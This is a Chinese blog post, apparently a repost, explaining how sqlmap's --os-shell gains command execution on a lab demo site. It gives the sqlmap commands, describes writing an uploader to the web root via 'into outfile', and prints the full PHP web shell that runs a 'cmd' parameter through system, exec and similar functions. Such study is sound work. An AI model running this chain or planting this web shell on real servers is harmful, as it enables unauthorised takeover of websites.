zoukankan      html  css  js  c++  java
  • sqlmap之--os-shell命令执行原理

    最近也是在看sqlmap,感觉--os-shell这个命令确实很厉害,但我并不知道它的原理,所以来研究一下

    环境

    环境就是我本地搭的一个有sql注入漏洞的一个小demo

    演示

    这是我们的demo环境

    http://10.0.173.136/SqlNum/SqlNum.php

    用sqlmap跑一下

    python2 sqlmap.py -r 11.9.txt

    发现确实有注入

    试试--os-shell命令

    python2 sqlmap.py -r 11.9.txt --os-shell

    选择语言,sqlmap默认为php,此处根据需求选择

    输入绝对路径 

    建立os-shell然后命令执行

    原理研究

    原理很简单,就是用into outfile函数将一个可以用来上传的php文件写到网站的根目录下

     

     然后利用tmpukjhb.php上传了一个tmpbezal.php的文件,tmpbezal.php这个文件可以用来执行系统命令,并且将结果返回出来

    tmpbezal.php代码如下:

     1 <?php 
     2 $c=$_REQUEST["cmd"];
     3 @set_time_limit(0);
     4 @ignore_user_abort(1);
     5 @ini_set('max_execution_time',0);
     6 $z=@ini_get('disable_functions');
     7 if(!empty($z))
     8 {
     9     $z=preg_replace('/[, ]+/',',',$z);
    10     $z=explode(',',$z);
    11     $z=array_map('trim',$z);}
    12 else
    13     {
    14         $z=array();
    15         }
    16 $c=$c." 2>&1
    ";
    17 function f($n)
    18 {global $z;
    19 return is_callable($n)and!in_array($n,$z);
    20 }
    21 if(f('system'))
    22 {ob_start();
    23 system($c);
    24 $w=ob_get_contents();
    25 ob_end_clean();
    26 }elseif(f('proc_open')){
    27     $y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
    28     $w=NULL;
    29     while(!feof($t[1])){
    30         $w.=fread($t[1],512);
    31             }
    32         @proc_close($y);
    33 }
    34     elseif(f('shell_exec')){
    35     $w=shell_exec($c);
    36     }
    37     elseif(f('passthru')){
    38         ob_start();
    39         passthru($c);
    40         $w=ob_get_contents();
    41         ob_end_clean();
    42         }elseif(f('popen')){
    43             $x=popen($c,r);
    44             $w=NULL;
    45             if(is_resource($x)){
    46                 while(!feof($x)){
    47                 $w.=fread($x,512);
    48                     }
    49                     }
    50                     @pclose($x);
    51                     }elseif(f('exec')){
    52                         $w=array();
    53                         exec($c,$w);
    54                         $w=join(chr(10),$w).chr(10);
    55                         }else{
    56                             $w=0;
    57                             }
    58                             print "</pre>".$w."</pre>";?>'''

    上述代码实现了os-shell得到了命令后,如何执行命令以及输出执行结果到os-shell中。

    因此我们可以在os-shell中执行命令。

    os-shell的使用条件

    通过上述的分析,我们知道了sqlmap os-shell参数的用法以及原理。
    很多的人会对os-shell的使用进行吐槽,这是得要多大的权限才能执行。是的,os-shell的执行条件有三个

    (1)网站必须是root权限

    (2)攻击者需要知道网站的绝对路径

    (3)GPC为off,php主动转义的功能关闭


    参考:

    https://blog.csdn.net/whatday/article/details/102802273

  • 相关阅读:
    Java实现稳定婚姻问题
    Java实现二分图的最大匹配
    Java实现二分图的最大匹配
    Java实现二分图的最大匹配
    Java实现二分图的最大匹配
    Java实现二分图的最大匹配
    OpenGL与Directx的区别
    为什么API多用C而不是C++,为什么C++程序大多不使用异常
    一次C#和C++的实际应用性能比较(C++允许我们使用任何手段来提高效率,只要愿意做出足够的努力)
    图形界面编程成就了C++
  • 原文地址:https://www.cnblogs.com/zzjdbk/p/13951047.html
Copyright © 2011-2022 走看看